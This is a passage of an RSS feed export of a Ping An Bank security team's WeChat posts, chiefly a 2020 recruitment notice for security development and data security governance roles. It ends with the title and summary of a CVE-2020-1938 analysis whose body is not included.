src="https://wechat2rss.xlab.app/img-proxy/?k=273635d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8zsGBbWkKpkZdZczug4j9jRKibfNGBBeLhWIC9tDThjoga1Eje4pkRwQ%2F640%3Fwx_fmt%3Dpng"/></section>



<p><a href="2247483914">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1af869b3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247483914%26idx%3D1%26sn%3Ddc79efebcd760b4f50aa1ab296c55bbe%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Apr 2020 10:18:00 +0800</pubDate>
    </item>
    <item>
      <title>招聘｜平安银行2020年安全人才招募令！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483889&amp;idx=1&amp;sn=2826445372c6c294ba6116198ee25481</link>
      <description>加入平安银行，“橙”就不一样！</description>
      <content:encoded><![CDATA[<p>
原创 <span>平安银行应用安全</span> <span>2020-03-12 17:46</span> <span style="display: inline-block;"></span>
</p>

<p>加入平安银行，“橙”就不一样！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c07aab98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z5h4cHubNIGqp5AIyhyS3Aicw1MSjxwpicgbKdqDJzZ35PB5XTMpRAcDJDsyqna8d9Nts4ZOz5ZzX9A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display: none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><section data-role="outer" label="Powered by 135editor.com" style="max-width: 100%;font-family: 微软雅黑;overflow: hidden;z-index: 0;caret-color: rgb(51, 51, 51);text-size-adjust: auto;visibility: visible;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;font-family: 微软雅黑;overflow: hidden;z-index: 0;caret-color: rgb(51, 51, 51);text-size-adjust: auto;visibility: visible;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;">平安银行股份有限公司（英文：PING AN BANK CO.,LTD.；简称平安银行），是一家总部位于广东省深圳市的全国性股份制商业银行，是中国平安集团旗下子公司，同时也是平安集团三大业务支柱之一。其前身深圳发展银行是中国内地首家公开上市的全国性股份制银行。截至2019年6月末，在职员工33,529人，通过全国84家分行、1,053家营业机构为客户提供多种金融服务。</span><br/></p><p style="max-width: 100%;font-family: 微软雅黑;overflow: hidden;z-index: 0;caret-color: rgb(51, 51, 51);text-size-adjust: auto;visibility: visible;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.46484375" data-s="300,640" style="width: 566px;height: 263px;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b8b43840&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5h4cHubNIGqp5AIyhyS3AicG6uiam5S9o9xbJXAZMsRtEh7ChmL5EEibxK6mdH26pHuBbicwCVQadmaw%2F640%3Fwx_fmt%3Dpng"/></p><section style="overflow: hidden;overflow-wrap: break-word;z-index: 0;caret-color: rgb(51, 51, 51);text-size-adjust: auto;visibility: visible;box-sizing: border-box;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;" data-color="#ff8124"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="text-align: center;letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><br/></p><section data-tools="新媒体排版" style="max-width: 100%;letter-spacing: 0.544px;text-size-adjust: auto;font-family: 微软雅黑;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="text-align: center;margin-right: 8px;margin-left: 8px;max-width: 100%;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;text-align: justify;color: rgb(255, 129, 36);box-sizing: border-box !important;overflow-wrap: break-word !important;">✎✎✎</span></strong></p></section><section data-role="outer" label="Powered by 135editor.com" style="max-width: 100%;font-family: 微软雅黑;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p><span style="max-width: 100%;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;">在处于零售转型的高速发展时期，平安银行践行科技赋能，并更加重视信息安全的发展与建设。平安银行应用安全团队致力于保障行内应用安全，共建金融行业的应用安全生态环境。</span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;">这是一个牛人辈出且<span style="max-width: 100%;color: rgb(255, 129, 36);">有爱</span>的团队，一个够大且<span style="max-width: 100%;color: rgb(255, 129, 36);">发展快速</span>的平台，同时还有一份还不错的薪水！</span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;font-size: 13px;overflow-wrap: break-word !important;">期待热爱互联网、热爱安全，同时在<span style="max-width: 100%;color: rgb(255, 129, 36);overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">安全领域</strong></span>有一技之长的你！</span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;font-size: 13px;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;font-size: 13px;overflow-wrap: break-word !important;"></span></p><section data-role="outer" label="Powered by 135editor.com" style="max-inline-size: 100%;font-size: 16px;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);max-width: 100%;font-family: 微软雅黑;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"><section data-style-type="5" data-tools="新媒体排版" data-id="1156165" data-color="#ff8124" style="max-inline-size: 100%;border-width: 0px;border-style: none;border-color: initial;z-index: 0;min-width: 90px;max-width: 100%;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"><section data-css="border-bottom-left-radius: 10px;border-bottom-right-radius: 15px;border-color: rgb(0, 88, 156);border-style: dotted;border-width: 1px;font-family: 宋体;line-height: 2em;max-width: 100%;min-height: 1.5em;padding: 15px" style="max-inline-size: 100%;padding: 15px;max-width: 100%;border-bottom-left-radius: 10px;border-bottom-right-radius: 15px;border-width: 1px;border-style: dotted;border-color: rgb(255, 129, 36);line-height: 2em;min-height: 1.5em;font-family: 宋体;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"><section data-css="-ms-word-wrap: break-word !important;color: rgb(255, 255, 255);font-family: 微软雅黑;margin: 0px;max-width: 100%;padding: 0px;text-align: center" style="max-inline-size: 100%;max-width: 100%;color: rgb(255, 255, 255);text-align: center;font-family: 微软雅黑;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"><p data-css="background-color: rgb(0, 88, 156);border-bottom-left-radius: 100%;border-bottom-right-radius: 100%;border-color: rgb(28, 142, 230);color: rgb(255, 255, 238);font-size: 14px;line-height: 2em;margin: 0px;max-width: 100%;min-height: 1.5em;padding: 0px 20px 4px;white-space: pre-wrap" style="max-inline-size: 100%;padding-right: 20px;padding-bottom: 4px;padding-left: 20px;white-space: pre-wrap;min-height: 1.5em;cursor: text;max-width: 100%;background-color: rgb(255, 129, 36);border-bottom-left-radius: 100%;border-bottom-right-radius: 100%;border-color: rgb(255, 129, 36);font-size: 14px;line-height: 2em;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"><span style="max-inline-size: 100%;cursor: text;max-width: 100%;font-size: 16px;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"><strong data-css="border-color: rgb(0, 88, 156);color: inherit;max-width: 100%" style="max-inline-size: 100%;cursor: text;max-width: 100%;border-color: rgb(255, 129, 36);color: inherit;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;">资深安全开发工程师(Python或Java方向)</strong></span></p></section><p style="max-inline-size: 100%;margin-bottom: 0.1px;min-height: 1em;cursor: text;max-width: 100%;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"><span style="max-inline-size: 100%;cursor: text;max-width: 100%;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"></span></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;max-width: 100%;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"><strong style="max-inline-size: 100%;cursor: text;max-width: 100%;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;"><span style="max-inline-size: 100%;cursor: text;max-width: 100%;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;color:#000;">岗位职责</span></strong><span style="max-inline-size: 100%;cursor: text;max-width: 100%;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;overflow-wrap: break-word !important;color:#000;">：</span></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">1.</span><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">负责各类安全工具平台、安全产品的建设研发，包括流量处理、RASP、 DAST、 SAST 等各类安全工具平台的建设研发；</span></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">2.</span><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">负责建设支撑SDLC流程节点的各类工具平台，落实全行应用安全治理上相关的要求及检查机制的自动化闭环；</span><br style="max-inline-size: 100%;box-sizing: border-box !important;outline: none 0px !important;"/></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">3.</span><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">推动研发流程及相关基础技术架构的持续优化完善。</span></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><br/></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">岗位要求:</span></strong></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">1.扎实的编程基础、精通Java、 Python开发语言， 熟悉JVM、Kafka、 ELK、 Spark、 分布式等核心技术；</span></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">2.熟悉软件开发生命周期(SDLC)，熟悉业内主流的安全机制、安全解决方案、安全体系优先；</span></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">3.有相关的安全工具平台开发经验，包括不限于动态、静态等各类漏洞检测、流量处理、资产采集等经验；</span></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">4.熟练掌握主流开发框架，如Spring、 MyBatis, 熟悉高可用、高性能优化方案；</span></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">5.思路清晰、较好的沟通能力与技术学习能力，有强烈责任心及团队意识；</span></p><p style="max-inline-size: 100%;min-height: 1em;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;outline: none 0px !important;color:#000;">6.本科以上、3年以上互联网公司经历优先。</span></p></section></section></section><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><br/></p><section data-style-type="5" data-tools="新媒体排版" data-id="1156165" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-color="#ff8124"><section data-css="border-bottom-left-radius: 10px;border-bottom-right-radius: 15px;border-color: rgb(0, 88, 156);border-style: dotted;border-width: 1px;font-family: 宋体;line-height: 2em;max-width: 100%;min-height: 1.5em;padding: 15px" style="padding: 15px;max-width: 100%;border-bottom-left-radius: 10px;border-bottom-right-radius: 15px;border-width: 1px;border-style: dotted;border-color: rgb(255, 129, 36);line-height: 2em;min-height: 1.5em;font-family: 宋体;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-css="-ms-word-wrap: break-word !important;color: rgb(255, 255, 255);font-family: 微软雅黑;margin: 0px;max-width: 100%;padding: 0px;text-align: center" style="max-width: 100%;color: rgb(255, 255, 255);text-align: center;font-family: 微软雅黑;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-css="background-color: rgb(0, 88, 156);border-bottom-left-radius: 100%;border-bottom-right-radius: 100%;border-color: rgb(28, 142, 230);color: rgb(255, 255, 238);font-size: 14px;line-height: 2em;margin: 0px;max-width: 100%;min-height: 1.5em;padding: 0px 20px 4px;white-space: pre-wrap" style="padding-right: 20px;padding-bottom: 4px;padding-left: 20px;max-width: 100%;min-height: 1.5em;background-color: rgb(255, 129, 36);border-bottom-left-radius: 100%;border-bottom-right-radius: 100%;border-color: rgb(255, 129, 36);font-size: 14px;line-height: 2em;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-css="border-color: rgb(0, 88, 156);color: inherit;max-width: 100%" style="max-width: 100%;border-color: rgb(255, 129, 36);color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">数据安全治理专家</strong></span></p></section><p style="margin-bottom: 0.1px;max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="margin-bottom: 0.1px;max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="max-width: 100%;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;color:#000;">岗位职责:</span></strong><br/></p><p><span style="max-width: 100%;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;color:#000;">1. 发现数据安全生命周期各环节面临的安全风险，并制定相关的风险管控方案，建设数据安全保护平台形成对数据全生命周期的保护；</span></p><p><span style="max-width: 100%;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;color:#000;">2.辅助数据治理的相关方推动复杂数据治理行动，推动数据治理相关方案的工具化、线上化，从而保证银行数据数据互通方面的效率和安全性；</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">3.结合监管及银行安全合规要求，形成系统化的平台来实现风险控制及监控，包括不限于自动化加密、脱敏引擎，敏感数据识别分级打标引擎的落地及优化；</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">4.通过算法和权限管控结合现有银行数据输入输出的业务需求，对输入输出的数据进行安全合规的审计及智能化的审批，提升数据交互时的安全管控及效率:</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">5.在国家标准及行业标准的基础上提升，保障业务的前提下，全面提高银行在数据安全方面的能力。</span><br/></p><p><br/></p><p><strong><span style="max-width: 100%;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;color:#000;">岗位要求:</span></strong></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;"> 1.有数据安全风险治理的专项工作经验(数据脱敏、数据加密、api 治理、数据资产地图、隐私保护) ;</span></p><p><span style="max-width: 100%;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;color:#000;">2.熟悉各种常见通用加密算法(AES、RSA、 SHA以及国密等)，以及隐私保护算法(K-匿名、差分隐私、L-多样性)，掌握相关安全通信协议、熟悉签名认证；</span></p><p><span style="max-width: 100%;font-size: 13px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;color:#000;">3.掌握数据安全和隐私保护方面的安全技术，对国家相关法律法规及行业标准有深入理解；</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">4.了解大数据业务建模、数据仓库建模、元数据、数据血缘及其实现方法有全局化的数据架构能力相关经验更佳；</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">5.熟悉常用关系型数据库或非关系型数据库以及常见搜索系统；</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">6.掌握python/java/go等至少一门编程语言;</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">7.在风险识别、分析、研判、管控方面有深入的理解，有良好的业务感知和理解能力；</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">8.工作态度严谨，风险意识强，有较强的独立分析及解决问题的能力，良好的表达沟通能力， 敢于挑战、勇于创新；</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">9.工作经验：5年以上安全行业工作经验(数据安全、应用安全、信息安全、安全运营)，有金融行业工作背景优先；</span></p><p><span style="font-size: 13px;font-family: 微软雅黑, sans-serif;color:#000;">10.学历：本科及以上。</span></p></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p></section><section style="max-width: 100%;box-sizing: border-box;font-size: 17px;letter-spacing: 0.544px;text-size-adjust: auto;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;overflow-wrap: break-word !important;" data-color="#ff8124"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></section></section><section style="max-width: 100%;box-sizing: border-box;font-size: 17px;letter-spacing: 0.544px;text-size-adjust: auto;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;overflow-wrap: break-word !important;" data-color="#ff8124"><section style="margin-top: 0.5em;margin-bottom: 0.5em;max-width: 100%;box-sizing: border-box;text-align: center;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;clear: both;height: 0px;overflow: hidden;overflow-wrap: break-word !important;"><br/></section><section style="margin-top: -5px;margin-bottom: -5px;padding-right: 4px;padding-left: 4px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding: 10px;max-width: 100%;box-sizing: border-box;border-width: 2px;border-style: solid;border-color: rgb(255, 129, 36);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;font-size: 14px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;clear: none;min-height: 1em;overflow-wrap: break-word !important;"><strong>工作地点</strong><span style="letter-spacing: 0.544px;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;">：上海</span><strong style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"></strong></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><strong>简历投至邮箱</strong>：peiling757@pingan.com.cn</p><p style="max-width: 100%;box-sizing: border-box;clear: none;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;font-size: 12px;color: rgb(160, 160, 160);overflow-wrap: break-word !important;">如有疑问，可联系小编咨询</span></p><p style="max-width: 100%;box-sizing: border-box;clear: none;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;font-size: 12px;color: rgb(160, 160, 160);overflow-wrap: break-word !important;">（微信：pl1147662621）</span></p></section></section></section></section></section></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section style="letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;" data-color="#ff8124"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;text-align: center;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 100%;overflow-wrap: break-word !important;"><section style="margin-bottom: -2.5em;max-width: 100%;box-sizing: border-box;width: 2.5em;height: 2.5em;border-left: 2px dotted rgb(193, 193, 193);border-top: 2px dotted rgb(193, 193, 193);overflow: hidden;overflow-wrap: break-word !important;"><br/></section><section style="padding: 8px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;width: 100%;background-color: rgba(255, 255, 255, 0);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 5px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 50%;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;vertical-align: middle;display: inline-block;line-height: 0;box-shadow: rgb(0, 0, 0) 0px 0px 0px;overflow-wrap: break-word !important;"><img data-cropselx1="0" data-cropselx2="276" data-cropsely1="0" data-cropsely2="148" data-ratio="0.5373134328358209" title="职场照片1.png" data-type="png" data-w="1474" style="box-sizing: border-box;vertical-align: middle;width: 276px;overflow-wrap: break-word !important;visibility: visible !important;height: 148px;" src="https://wechat2rss.xlab.app/img-proxy/?k=535fa626&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5h4cHubNIGqp5AIyhyS3AicnOp7pX6zz6aHJUJJrLib3p9a2qD2XBCXvB8icnBtPtrYsvdEWcR7tWgg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="padding-left: 5px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 50%;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;vertical-align: middle;display: inline-block;line-height: 0;overflow-wrap: break-word !important;"><img data-cropselx1="0" data-cropselx2="276" data-cropsely1="0" data-cropsely2="148" data-ratio="0.5360544217687074" title="职场照片1.png" data-type="png" data-w="1470" style="box-sizing: border-box;vertical-align: middle;width: 276px;overflow-wrap: break-word !important;visibility: visible !important;height: 148px;" src="https://wechat2rss.xlab.app/img-proxy/?k=11b46e2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5h4cHubNIGqp5AIyhyS3AicgP399BpT3NWkJxSNkuibUg5GYVF4ia2ial31Ly1F6z8wvyljBjxiaKSjWw%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section></section></section><section style="margin-top: -2.5em;max-width: 100%;box-sizing: border-box;width: 2.5em;height: 2.5em;float: right;border-right: 2px dotted rgb(193, 193, 193);border-bottom: 2px dotted rgb(193, 193, 193);overflow-wrap: break-word !important;"><br/></section></section></section></section></section></section></section><section style="letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-bottom: 1.2em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: -0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;line-height: 1em;height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;font-size: 80px;line-height: 1em;color: rgb(255, 129, 36);overflow-wrap: break-word !important;">“</span><section style="margin-top: 1.6em;margin-left: -0.6em;max-width: 100%;box-sizing: border-box;width: 4em;border-bottom: 1px solid rgb(255, 129, 36);display: inline-block;vertical-align: middle;height: 1px;overflow: hidden;overflow-wrap: break-word !important;"><br/></section></section><section style="margin-top: -0.5em;padding: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;font-size: 14px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;clear: none;min-height: 1em;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;box-sizing: border-box;clear: none;min-height: 1em;overflow-wrap: break-word !important;"><span style="font-size: 12px;text-indent: 24px;font-family: Helvetica, Arial, sans-serif;">未来，我行将继续积极响应国家战略，顺应国际国内经济金融形势，遵循新的“3+2+1”经营策略，持续提升实体经济服务能力，坚守不发生系统性金融风险的底线，全面推进AI Bank体系建设，向着“中国最卓越、全球领先的智能化零售银行”的目标不断迈进。</span></p></section></section></section></section><section style="max-width: 100%;box-sizing: border-box;display: inline-block;height: 1em;float: right;line-height: 1;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 4em;border-bottom: 1px solid rgb(255, 129, 36);height: 1px;overflow: hidden;overflow-wrap: break-word !important;"><br/></section><span style="margin-top: -0.11em;margin-left: -0.1em;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;font-size: 80px;color: rgb(255, 129, 36);overflow-wrap: break-word !important;">”</span></section></section></section></section></section></section></section>



<p><a href="2247483889">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1f2d50e1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247483889%26idx%3D1%26sn%3D2826445372c6c294ba6116198ee25481%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 12 Mar 2020 17:46:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache AJP 协议 CVE-2020-1938 漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483881&amp;idx=1&amp;sn=1fa632af9dae216711ba1dfe4d2f971b</link>
      <description>最近CVE-2020-1938炒的比较热闹，前几天比较忙，今天抽空跟了一下这个漏洞，时间线上肯定比别的大佬晚很多了，所以就选择从环境搭建开始写的详细一点，对这个漏洞多少还有一些困惑的同学可以赏脸看上两眼吧。</description>
      <content:encoded><![CDATA[<p>
